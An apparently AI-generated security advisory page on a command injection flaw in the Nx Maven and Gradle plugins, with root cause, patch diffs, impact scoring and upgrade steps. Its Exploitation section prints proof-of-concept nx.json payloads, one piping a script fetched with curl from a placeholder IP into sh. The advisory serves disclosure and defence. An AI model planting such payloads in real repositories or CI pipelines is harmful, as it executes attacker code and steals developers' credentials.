CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-119282

CVE-2026-119282: OS Command Injection via Plugin Options in Nx (@nx/maven and @nx/gradle)

Amit Schendel
Amit Schendel
Senior Security Researcher

Oct 30, 2026·10 min read·4 visits

Executive Summary (TL;DR)

Nx versions prior to 22.7.9 and 23.1.2 pass unvalidated configuration options from nx.json into child process executions with shell: true in @nx/maven and @nx/gradle. Running Nx commands in an untrusted repository or pull request allows arbitrary OS command execution.

An OS command injection and argument injection vulnerability exists in the Nx build system and its official Maven (@nx/maven) and Gradle (@nx/gradle) plugins. When constructing the project dependency graph, the plugins invoke underlying Java build wrappers via subshells while interpolating unsanitized plugin options directly from nx.json into the command arguments. An attacker who supplies a crafted nx.json file via a repository or pull request can execute arbitrary shell commands with the privileges of the user or CI/CD runner invoking any Nx command that computes the project graph.

Vulnerability Overview

Nx is an extensible build system and monorepo management tool designed for TypeScript and polyglot codebases. To support Java-based projects within a monorepo, Nx provides the @nx/maven and @nx/gradle plugins. These plugins inspect the repository structure and build files (pom.xml or build.gradle) to construct an internal project dependency graph before executing tasks.

During project graph construction, the plugins invoke the respective build system binaries or repository wrappers (./mvnw, mvnw.cmd, ./gradlew, gradlew.bat, mvn, or gradle). To configure how these analyzers interact with the underlying Java projects, developers define plugin options inside the root nx.json configuration file. These options control parameters such as task target prefixes and custom Gradle properties.

In versions prior to 22.7.9 and 23.1.2, the project-graph analyzers in @nx/maven and @nx/gradle spawn these child processes using Node.js child process primitives configured with shell: true or via direct shell command string execution. Because the plugins interpolate configuration values from nx.json directly into the command arguments without sanitization or escaping, the system shell interprets shell metacharacters contained within those options.

This design flaw introduces an OS Command Injection (CWE-78) and Argument Injection (CWE-88) vulnerability. Any developer or automated Continuous Integration (CI) runner that executes an Nx command capable of triggering project graph creation inside a repository containing a modified nx.json file will execute attacker-controlled commands under the local user context.

Root Cause Analysis

The root cause of CVE-2026-119282 is the combination of unvalidated string interpolation from an untrusted configuration source (nx.json) and the invocation of Node.js child process functions (spawn, execFile, and execSync) with shell evaluation enabled. In Node.js, passing { shell: true } to child_process.spawn or child_process.execFile causes the runtime to concatenate the executable path and the arguments array into a single command string, which is then passed to /bin/sh -c on POSIX systems or cmd.exe /d /s /c on Windows.

Because the arguments array is flattened into a shell command string, the boundary between discrete command-line arguments is lost. Any shell metacharacters (such as ;, &, |, `, $(), or newline characters) present in the interpolated configuration values are parsed as command delimiters or subshell expansions by the underlying OS command interpreter.

Three distinct execution sinks across @nx/maven and @nx/gradle exhibit this flaw:

  1. Maven Project Graph Analyzer (packages/maven/src/plugins/maven-analyzer.ts): The analyzer constructs an arguments array for Maven and interpolates the targetNamePrefix option directly via -DtargetNamePrefix=${options.targetNamePrefix}. It then invokes spawn(mavenExecutable, mavenArgs, { shell: true }). When /bin/sh or cmd.exe parses the resulting string, metacharacters in targetNamePrefix break out of the -D property definition and execute subsequent commands.
  2. Maven Executable Detection (packages/maven/src/utils/detect-maven-executable.ts): When verifying the presence of a Maven binary, the utility calls execSync(\$ --version`). Because execSyncalways invokes a subshell and interpolates theexecutable` variable via a template literal, any control characters in the executable path or name are evaluated by the shell.
  3. Gradle Execution Utility (packages/gradle/src/utils/exec-gradle.ts): The Gradle plugin iterates over all key-value pairs defined in GradlePluginOptions within get-project-graph-lines.ts and formats each entry as a project property argument: -P${key}=${value}. Because the TypeScript interface for GradlePluginOptions includes an open index signature ([key: string]: any), arbitrary property names and values from nx.json are accepted and passed to execFile(gradleBinaryPath, args, { shell: true }). Consequently, shell injection can occur through either the option key or the option value.

Code Analysis

The vulnerability was addressed in Pull Request #36626 across commits 02c5d59e8dbbbe30963c0181c6a22cd8c1190a25, 60196b7cfcffcada35b6b90e53bf1a78d049b548, and c227f4780b054c512965c73aa480a48f9f781409. Because Windows requires cmd.exe to execute .cmd and .bat wrapper scripts (such as mvnw.cmd and gradlew.bat) following Node.js security changes for CVE-2024-27980, the maintainers could not simply set shell: false globally without breaking Windows compatibility.

To solve this across platforms, the patch introduces a centralized process execution utility in packages/nx/src/utils/safe-spawn.ts and exports safeSpawn and safeExecFileSync through @nx/devkit/internal.

// packages/nx/src/utils/safe-spawn.ts (Introduced in Patch)
export function safeSpawn(
  command: string,
  args: readonly string[] = [],
  options: SafeSpawnOptions = {}
): ChildProcess {
  assertNoNewlines(command, 'command');
  for (const arg of args) {
    assertNoNewlines(arg, 'argument');
  }
 
  // Only use a shell on Windows when executing .cmd/.bat shims or bare commands
  if (shouldUseShellOnWindows(command)) {
    const quotedCommand = quoteShellArg(command);
    const quotedArgs = args.map((a) => quoteShellArg(a));
    return spawn(quotedCommand, quotedArgs, {
      ...options,
      shell: true,
      windowsVerbatimArguments: true,
    });
  }
 
  // On POSIX and for native Windows .exe binaries, never invoke a shell
  return spawn(command, args, {
    ...options,
    shell: false,
  });
}

In safe-spawn.ts, the type definition SafeSpawnOptions explicitly omits the shell property (Omit<SpawnOptions, 'shell'>), preventing callers from re-enabling shell interpretation. On POSIX systems (Linux, macOS), safeSpawn enforces shell: false, ensuring that command and args are passed directly to the OS kernel via execve as discrete string pointers. On Windows, if a batch file requires cmd.exe, every argument is validated to reject and characters (which cannot be safely escaped inside cmd.exe double quotes) and wrapped via quoteShellArg.

In @nx/maven, the vulnerable spawn call in maven-analyzer.ts and execSync call in detect-maven-executable.ts were replaced with the hardened wrappers:

// packages/maven/src/plugins/maven-analyzer.ts
- import { spawn } from 'child_process';
+ import { safeSpawn } from '@nx/devkit/internal';
 
  // Vulnerable invocation prior to 22.7.9 / 23.1.2:
- const child = spawn(mavenExecutable, mavenArgs, {
-   cwd: workspaceRoot,
-   stdio: ['ignore', 'pipe', 'pipe'],
-   shell: true,
-   windowsHide: true,
- });
 
  // Patched invocation:
+ const child = safeSpawn(mavenExecutable, mavenArgs, {
+   cwd: workspaceRoot,
+   stdio: ['ignore', 'pipe', 'pipe'],
+   windowsHide: true,
+ });
// packages/maven/src/utils/detect-maven-executable.ts
- import { execSync } from 'child_process';
+ import { safeExecFileSync } from '@nx/devkit/internal';
 
- execSync(`${executable} --version`, {
+ safeExecFileSync(executable, ['--version'], {
    cwd: workspaceRoot,
    stdio: 'ignore',
    windowsHide: true,
  });

Similarly, in @nx/gradle, the vulnerable execFile call with shell: true inside packages/gradle/src/utils/exec-gradle.ts was refactored to use safeSpawn and handle process stream events directly:

// packages/gradle/src/utils/exec-gradle.ts
- import { execFile } from 'node:child_process';
+ import { safeSpawn } from '@nx/devkit/internal';
 
- const child = execFile(
-   gradleBinaryPath,
-   args.filter(Boolean) as string[],
-   {
-     cwd: workspaceRoot,
-     shell: true,
-     windowsHide: true,
-     maxBuffer: LARGE_BUFFER,
-     env: { ...process.env, ... execFileOptions.env },
-   },
-   callback
- );
+ const child = safeSpawn(
+   gradleBinaryPath,
+   args.filter(Boolean) as string[],
+   {
+     cwd: workspaceRoot,
+     stdio: ['ignore', 'pipe', 'pipe'],
+     windowsHide: true,
+     env: { ...process.env, ...execFileOptions.env },
+   }
+ );

> [!NOTE] > Fix Completeness Assessment: By decoupling argument passing from shell evaluation on POSIX systems and enforcing strict newline rejection and quoting for Windows batch shims, the patch neutralizes shell command injection (CWE-78). However, because user-controlled keys and values from nx.json are still passed as -D or -P flags to the underlying mvn and gradle binaries, attackers who already control repository contents can still pass arbitrary properties to Maven or Gradle—though in a local repository context, an attacker who can modify repository files could also directly modify pom.xml or build.gradle if those files are not separately restricted by CODEOWNERS.

Exploitation

Exploiting CVE-2026-119282 requires an attacker to supply or modify the nx.json configuration file in a workspace where either @nx/maven or @nx/gradle is installed in node_modules. This scenario typically occurs when a developer clones an untrusted repository, checks out a malicious pull request locally, or when an automated CI/CD pipeline runs an Nx command (such as nx affected, nx graph, nx build, or nx test) on an untrusted pull request from a fork.

Crucially, exploitation occurs during the project graph calculation phase, before any actual build target or task is executed. Even read-only inspection commands like nx graph or nx show projects will trigger the analyzer plugins and detonate the payload.

Scenario 1: Exploiting @nx/maven via targetNamePrefix

In a workspace with @nx/maven installed, the attacker modifies nx.json to include a shell command separator (;, |, or &&) inside the targetNamePrefix option:

{
  "plugins": [
    {
      "plugin": "@nx/maven",
      "options": {
        "targetNamePrefix": "mvn-; id > /tmp/nx_maven_pwned #"
      }
    }
  ]
}

When nx show projects is executed, @nx/maven constructs the command string and passes it to /bin/sh -c. The shell splits the command at the semicolon, runs id > /tmp/nx_maven_pwned, and comments out the trailing arguments with #.

Scenario 2: Exploiting @nx/gradle via Arbitrary Option Keys or Values

In a workspace with @nx/gradle installed, the plugin maps every property in the options object into a -P<key>=<value> argument. An attacker can place the payload in either the property key or value:

{
  "plugins": [
    {
      "plugin": "@nx/gradle",
      "options": {
        "x; curl -s http://192.0.2.10/payload.sh | sh #": "true"
      }
    }
  ]
}

When the victim runs an Nx command, exec-gradle.ts invokes the shell with -Px; curl -s http://192.0.2.10/payload.sh | sh #=true, executing the injected pipeline under the victim's user account.

Impact Assessment

The vulnerability is rated HIGH severity with a CVSS v4.0 score of 7.3 (CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N).

  • Attack Vector (Local - AV:L) & User Interaction (Passive - UI:P): Exploitation requires local execution of the nx CLI against an attacker-controlled repository or branch.
  • Attack Requirements (Present - AT:P): The target environment must have @nx/maven or @nx/gradle present and registered in nx.json. Workspaces that do not use either Java plugin are not affected.
  • Confidentiality, Integrity, and Availability Impact (High - VC:H/VI:H/VA:H): Successful exploitation grants arbitrary code execution with the full privileges of the user or service account invoking Nx.

In a developer workstation scenario, an attacker can compromise local SSH keys, cloud provider credentials (~/.aws/credentials), NPM/GitHub tokens, and source code across the host. In a CI/CD environment (such as GitHub Actions workflows triggered on pull_request_target or self-hosted runners), the attacker can exfiltrate repository secrets, modify build artifacts, or pivot into internal build infrastructure.

In particular, organizations that rely on GitHub CODEOWNERS to restrict modifications to pom.xml, build.gradle, or .github/workflows while leaving nx.json unguarded or reviewed by less privileged teams face an elevation-of-privilege risk within their CI pipelines.

According to FIRST EPSS metrics, the probability of opportunistic exploitation in the wild is 0.14% (3.38th percentile), and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. This reflects the targeted delivery mechanism required for build-tool vulnerabilities compared to network-exposed services.

Remediation

To remediate CVE-2026-119282, users must upgrade both the core nx package and the affected @nx/maven and/or @nx/gradle plugins to matching patched versions:

  • For Nx 22.x: Upgrade to 22.7.9 or later.
  • For Nx 23.x: Upgrade to 23.1.2 or later.

> [!WARNING] > Upgrading only @nx/maven or @nx/gradle without upgrading the core nx (and @nx/devkit) package is insufficient and will cause runtime module resolution failures. The patched plugins depend directly on the safeSpawn and safeExecFileSync functions exported by @nx/devkit/internal in the updated core release.

Automated Migration

Use the built-in Nx migration command to update nx and all synchronized plugins simultaneously:

# For workspaces on the 22.x release line
nx migrate 22.7.9
npm install
 
# For workspaces on the 23.x release line
nx migrate 23.1.2
npm install

Workarounds and Defense-in-Depth

If immediate upgrading is not possible, implement the following controls:

  1. Protect nx.json via CODEOWNERS: Add /nx.json to your repository's .github/CODEOWNERS file so that changes to plugin configurations require explicit security or build-owner review before merge.
  2. Restrict Untrusted CI Execution: Do not execute nx commands (including nx affected or nx graph) inside privileged CI workflows (such as pull_request_target) against unverified code from external forks.
  3. Audit Plugin Options: Inspect nx.json before running local Nx commands on untrusted branches to verify that @nx/maven and @nx/gradle option blocks contain only alphanumeric characters, hyphens, and underscores.

Official Patches

nrwlOfficial GitHub Security Advisory for CVE-2026-119282 (GHSA-qm8w-vx34-5j9j)
nrwlPull Request #36626 implementing safeSpawn and patching @nx/maven and @nx/gradle
nrwlNx v22.7.9 Release Notes
nrwlNx v23.1.2 Release Notes

Fix Analysis (3)

Technical Appendix

CVSS Score
7.3/ 10
CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
EPSS Probability
0.14%
Top 97% most exploited

Affected Systems

nx@nx/maven@nx/gradle

Affected Versions Detail

Product
Affected Versions
Fixed Version
nx
nrwl
>= 21.0.0, < 22.7.922.7.9
nx
nrwl
>= 23.0.0, < 23.1.223.1.2
@nx/maven
nrwl
>= 21.0.0, < 22.7.922.7.9
@nx/maven
nrwl
>= 23.0.0, < 23.1.223.1.2
@nx/gradle
nrwl
>= 21.0.0, < 22.7.922.7.9
@nx/gradle
nrwl
>= 23.0.0, < 23.1.223.1.2
AttributeDetail
Vulnerability ClassOS Command Injection (CWE-78) / Argument Injection (CWE-88)
CVSS v4.0 Score7.3 HIGH (CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N)
Attack VectorLocal via untrusted nx.json in repository or pull request
Affected Componentsnx, @nx/maven, @nx/gradle (>= 21.0.0, < 22.7.9 and >= 23.0.0, < 23.1.2)
Patched Versions22.7.9 and 23.1.2
EPSS Score0.14% (3.38th percentile)
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1059Command and Scripting Interpreter
Execution
CWE-78
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

Vulnerability Timeline

Pull Request #36626 authored and merged to introduce safeSpawn and patch @nx/maven and @nx/gradle.
2026-08-14
GitHub Security Advisory GHSA-qm8w-vx34-5j9j and CVE-2026-119282 published to CVE.org and NVD.
2026-10-29
Advisory synchronized with Open Source Vulnerabilities (OSV) database and updated in NVD.
2026-10-30

References & Sources

  • [1]GitHub Security Advisory GHSA-qm8w-vx34-5j9j
  • [2]NVD - CVE-2026-119282 Detail
  • [3]CVE.org Record: CVE-2026-119282
  • [4]CVEListV5 Official JSON Record for CVE-2026-119282
  • [5]GitHub Pull Request #36626 - Fix Command Injection in Maven and Gradle Plugins
  • [6]Fix Commit 02c5d59e8dbbbe30963c0181c6a22cd8c1190a25
  • [7]Fix Commit 60196b7cfcffcada35b6b90e53bf1a78d049b548
  • [8]Fix Commit c227f4780b054c512965c73aa480a48f9f781409
  • [9]Nx Release 22.7.9
  • [10]Nx Release 23.1.2
Related Vulnerabilities
CVE-2024-27980

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 2 hours ago•CVE-2026-59978
7.5

CVE-2026-59978: Persistent Denial of Service via Array Injection in AdminNeo

AdminNeo versions 4.6.2 through 5.4.1 contain an improper input validation vulnerability (CWE-20) in the version verification endpoint (?script=version). An unauthenticated remote attacker can submit a crafted HTTP POST request containing an array parameter for 'version', which is serialized into a shared server-side temporary cache file without type checking or authentication. On subsequent requests, the application deserializes this cached array and passes it to cookie() and rawurlencode(), triggering an uncaught fatal TypeError in PHP 8.x environments and causing a persistent 24-hour Denial of Service (DoS) for all users.

Amit Schendel
Amit Schendel
4 views•8 min read
•about 3 hours ago•GHSA-FGXM-5HVV-X4VH
5.3

GHSA-fgxm-5hvv-x4vh: Private Repository Enumeration via Go Module Discovery and HTTP Response Discrepancies in Soft Serve

Charmbracelet Soft Serve versions 0.5.0 through 0.12.2 contain an authorization bypass and observable response discrepancy vulnerability in the HTTP Git server. Remote attackers can determine the existence, exact names, and clone URLs of private repositories by issuing crafted Go remote import path discovery requests (?go-get=1) or by observing differential HTTP status codes across Git Smart HTTP, Dumb HTTP, and Git LFS endpoints.

Alon Barad
Alon Barad
5 views•12 min read
•about 4 hours ago•GHSA-F3FJ-9625-RV3M
5.9

GHSA-f3fj-9625-rv3m: Race Condition in Soft Serve Repository Cache Invalidation

A Time-of-Check to Time-of-Use (TOCTOU) race condition in Charmbracelet Soft Serve versions 0.6.0 through 0.12.2 allows unauthenticated users to retain read access to repositories after their visibility is changed from public to private. The flaw stems from premature cache invalidation in the SetPrivate method prior to committing the visibility update to the underlying database. Concurrent read requests arriving during the database transaction window repopulate the non-expiring in-memory LRU cache with stale public metadata, bypassing access controls across HTTP, SSH, and Git protocols until the server process is restarted.

Alon Barad
Alon Barad
4 views•10 min read
•about 5 hours ago•CVE-2026-119283
7.5

CVE-2026-119283: Unbounded JWE Recipients Array Causes CPU Exhaustion in Authlib joserfc

A resource consumption vulnerability exists in the Authlib joserfc Python library prior to version 1.7.5. When processing JSON Web Encryption (JWE) objects formatted using General JSON Serialization, the library fails to enforce an upper bound on the number of elements within the recipients array. An unauthenticated attacker can supply a JWE containing thousands of recipient entries targeting an RSA key management algorithm, forcing the server to perform an equivalent number of computationally expensive RSA private-key decryption operations per request and exhausting available CPU resources.

Alon Barad
Alon Barad
4 views•9 min read
•about 6 hours ago•CVE-2026-119284
6.9

CVE-2026-119284: Uncontrolled Resource Consumption in joserfc Compact Deserialization

CVE-2026-119284 (GHSA-9pg5-8c7x-5hfx) is an uncontrolled resource consumption vulnerability (CWE-400) in the compact serialization deserialization routines of joserfc prior to version 1.7.6. The library enforced individual segment size limits only after invoking Python's bytes.split(b'.') on untrusted input tokens. By sending oversized compact JWS or JWE tokens, an unauthenticated remote attacker can force the Python interpreter to duplicate and allocate memory for every segment before size validation executes, resulting in memory exhaustion and an Endpoint Denial of Service (DoS).

Amit Schendel
Amit Schendel
8 views•10 min read
•about 13 hours ago•GHSA-C33X-VCV4-VG3G
2.1

GHSA-c33x-vcv4-vg3g: Missing Slot Identifier Validation in Cedar Policy Language JSON Template Parser Causes Panic and Authorization Divergence

An improper input validation vulnerability (CWE-20) exists in the Entity Syntax Tree (EST) JSON deserialization component of the Cedar Policy Language (`cedar-policy` and `@cedar-policy/cedar-wasm`). When parsing JSON-formatted policy templates that define `is ... in` scope constraints on `principal` or `resource`, the parser used wildcard pattern matching that ignored the provided slot identifier (`?principal` or `?resource`). This omission allows malformed JSON templates to bypass initial deserialization validation, resulting in either a runtime panic during template linking or inverted slot bindings that alter authorization outcomes.

Amit Schendel
Amit Schendel
7 views•10 min read